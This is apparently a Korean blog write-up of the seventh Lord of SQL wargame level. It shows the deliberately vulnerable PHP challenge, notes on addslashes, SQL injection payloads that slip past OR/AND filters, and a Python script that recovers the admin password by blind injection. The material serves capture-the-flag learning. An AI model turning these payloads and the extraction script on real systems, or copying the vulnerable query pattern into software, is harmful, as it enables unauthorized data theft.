EASY7
Lord of the SQL 7번 본문
Lord of the SQL 7번
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
#PHP 함수
addslashes : 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙여주는 함수.
홑따옴표('), 겹따옴표("), 백슬래시(\), NUL(null 바이트)가 있다.
예를 들어 I'm student 를 I\'m student로 바꿔주는 기능을 한다.
R'Lilly같은 값을 데이터베이스에 넣을 때 따옴표를 escape시키기 위해 사용된다.
이 데이터를 데이터베이스에 넣으면 추가한 \는 빠진 채로 저장된다.
stripslashes 는 그 반대 기능이며 \를 제거해준다.
PHP에서 자동으로 설정하는 방법
magic_quotes_gpc
GET, POST, COOKIE에서 값들을 자동으로 escape시켜준다.
서버 관리자가 PHP 설치할 때 설정할 수 있다.
bool get_magic_quotes_gpc(void)가 true이면 이 설정이 되어있다는 뜻이다.
' || id='admin : OR 대신 || 대입 -> hello admin
' || id='admin' %26%26 length(pw)='8 : and 대신 &&을 쓸 수 있는데. URL에서 &는 필터링된다. 아스키코드로 %26%26썼더니 hello admin
Python 코드로 패스워드 알아내기
import requests
URL = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php'
cookies ={'PHPSESSID' : '내 쿠키값'}
for i in range(1,9) :
for j in range(32,127) :
params = {'pw' : '\' || ascii(substr(pw,%d,1))=\'%d' %(i, j)}
res = requests.get(url=URL, params=params, cookies=cookies)
if("Hello admin" in res.text) :
print (chr(j))
break
'Project > Lord of SQL' 카테고리의 다른 글
Lord of the SQL 9번 (0) | 2019.08.04 |
---|---|
Lord of the SQL 8번 (0) | 2019.08.04 |
Lord of the SQL 6번 (0) | 2019.08.04 |
Lord of SQL 5번 (0) | 2019.08.04 |
Lord of SQL 4번 (0) | 2019.07.29 |